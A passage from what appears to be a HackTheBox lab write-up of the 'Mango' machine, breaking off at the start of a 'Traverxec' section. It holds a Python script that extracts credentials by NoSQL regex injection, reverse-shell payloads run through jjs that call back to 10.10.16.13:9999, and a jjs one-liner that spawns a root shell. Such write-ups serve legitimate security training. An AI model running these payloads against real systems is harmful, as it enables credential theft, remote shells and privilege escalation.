class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;span class="lnt"&gt;105&#10;&lt;/span&gt;&lt;span class="lnt"&gt;106&#10;&lt;/span&gt;&lt;span class="lnt"&gt;107&#10;&lt;/span&gt;&lt;span class="lnt"&gt;108&#10;&lt;/span&gt;&lt;span class="lnt"&gt;109&#10;&lt;/span&gt;&lt;span class="lnt"&gt;110&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import string&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = &amp;#34;http://staging-order.mango.htb/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;staging-order.mango.htb&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Length&amp;#39;: &amp;#39;49&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Origin&amp;#39;: &amp;#39;http://staging-order.mango.htb&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Type&amp;#39;: &amp;#39;application/x-www-form-urlencoded&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://staging-order.mango.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=qspndr7i6msn9e8eamalqjadh7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = &amp;#39;username[$regex]=^a.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(requests.post(url=url,headers=headers,data=data, allow_redirects=False).status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;list_username = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# #Username&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# while True:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if list_username != [] and len(list_username) &amp;gt;= 1 and flag:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# flag = False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in range(0, len(list_username)):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if c not in [&amp;#39;*&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;\\&amp;#39;,&amp;#39;^&amp;#39;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# post_data_1 = f&amp;#34;username[$regex]=^{list_username[i]+c}.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# list_username[i] = list_username[i]+c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# elif flag == False:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(&amp;#34;result:&amp;#34;,list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # exit()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# else:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if c not in [&amp;#39;*&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;\\&amp;#39;,&amp;#39;^&amp;#39;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# post_data_1 = f&amp;#34;username[$regex]=^{c}.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(url=url,headers=headers,data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(c,response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# list_username.append(c)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print_list = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The two approaches do not conflict; uncommenting the code above still works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;list_username = [&amp;#39;admin&amp;#39;, &amp;#39;mango&amp;#39;] # Enter usernames here, or comment out this line to use the results above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for user in list_username:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while True:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if list_password != [] and len(list_password) &amp;gt;= 1 and flag:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if c not in [&amp;#34;*&amp;#34;, &amp;#34;+&amp;#34;, &amp;#34;.&amp;#34;, &amp;#34;?&amp;#34;, &amp;#34;|&amp;#34;, &amp;#34;\\&amp;#34;, &amp;#34;\b&amp;#34;, &amp;#34;&amp;amp;&amp;#34;,&amp;#34;$&amp;#34;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; post_data_1 = f&amp;#34;username={user}&amp;amp;password[$regex]=^{list_password + c}.*&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password += c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; elif flag == False:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(&amp;#34;result:&amp;#34;, list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print_list.append(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # exit()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; else:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if c not in [&amp;#34;*&amp;#34;, &amp;#34;+&amp;#34;, &amp;#34;.&amp;#34;, &amp;#34;?&amp;#34;, &amp;#34;|&amp;#34;, &amp;#34;\\&amp;#34;, &amp;#34;\b&amp;#34;, &amp;#34;&amp;amp;&amp;#34;,&amp;#34;$&amp;#34;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; post_data_1 = f&amp;#34;username={user}&amp;amp;password[$regex]=^{c}.*&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password += c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(print_list)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It was indeed a little slow. I hadn&amp;rsquo;t considered multithreading. The script probably still needed optimization, but those details weren&amp;rsquo;t important here.&lt;/p&gt;&#10;&lt;p&gt;username&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0432.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I hadn&amp;rsquo;t deduplicated the results, but the password came out. It had the same length I measured manually: 16 characters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0433.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0434.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Credential reuse worked for mango, and I logged in over SSH.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0435.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Most likely I needed to move laterally to admin and then run this to escalate to root.&lt;/p&gt;&#10;&lt;p&gt;The script provided that hint as well, but we weren&amp;rsquo;t admin.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0436.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0437.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Using su with the password from earlier got me in. SSH was probably disabled in sshconfig.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0438.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a classic reverse-shell script: start a ProcessBuilder thread, connect back with a Socket, define input streams, and use an infinite loop to send commands and return their output.&lt;/p&gt;&#10;&lt;p&gt;The problem was that I had never used jjs. I Googled how to exploit it.&lt;/p&gt;&#10;&lt;p&gt;What I learned was that it can execute Java code directly.&lt;/p&gt;&#10;&lt;p&gt;Java.type(&amp;lsquo;java.lang.Runtime&amp;rsquo;).getRuntime().exec(&amp;rsquo;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/9999 0&amp;gt;&amp;amp;1&amp;rsquo;)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0439.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The process started but reported no input, and I received no shell. The examples below came with it; the versions with modified arguments were my own tests, but none of them returned a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Java.type(&amp;#39;java.lang.Runtime&amp;#39;).getRuntime().exec(&amp;#39;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/9999&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var host= &amp;#34;10.10.16.13&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var port= &amp;#34;9999&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var ProcessBuilder = Java.type(&amp;#34;java.lang.ProcessBuilder&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var p=new ProcessBuilder(&amp;#34;/bin/bash&amp;#34;, &amp;#34;-i&amp;#34;).redirectErrorStream(true).start();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var Socket = Java.type(&amp;#34;java.net.Socket&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var s=new Socket(&amp;#34;10.10.16.13&amp;#34;,&amp;#34;9999&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()&amp;gt;0)so.write(pi.read()); while(pe.available()&amp;gt;0)so.write(pe.read()); while(si.available()&amp;gt;0)po.write(si.read()); so.flush();po.flush(); Java.type(&amp;#34;java.lang.Thread&amp;#34;).sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0440.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was a jjs privilege-escalation technique. Modify the payload:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Java.type(&amp;#39;java.lang.Runtime&amp;#39;).getRuntime().exec(&amp;#39;/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;#39;).waitFor()&amp;#34; | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just run it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0441.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box held me up for a long time, mainly because my script was extremely slow. Network speed may have made the brute-forcing slow, or the script may simply have been poorly written. Either way, that part took me ages. This was also apparently my second encounter with NoSQL injection; I hadn&amp;rsquo;t paid much attention the first time.&lt;/p&gt;&#10;&lt;p&gt;The final point was this Java technique. I didn&amp;rsquo;t know about jjs at first and only then learned it could invoke Java code, so I kept trying to construct something myself. The history did contain some examples. Although its script looked fine, reality showed that the shell simply wouldn&amp;rsquo;t connect back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0442.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I asked GPT, and there really was a problem with it.&lt;/p&gt;&#10;&lt;h2 id="20traverxec"&gt;&lt;a href="#20traverxec" class="header-anchor"&gt;&lt;/a&gt;20.Traverxec&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0443.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0444.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Accessing this machine was extremely laggy. I don&amp;rsquo;t know whether the cause was my computer or the target.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the result.&lt;/p&gt;&#10;&lt;p&gt;There was nothing on port 22.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0445.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WhatWeb found a fingerprint on port 80, and searching for it led directly to an 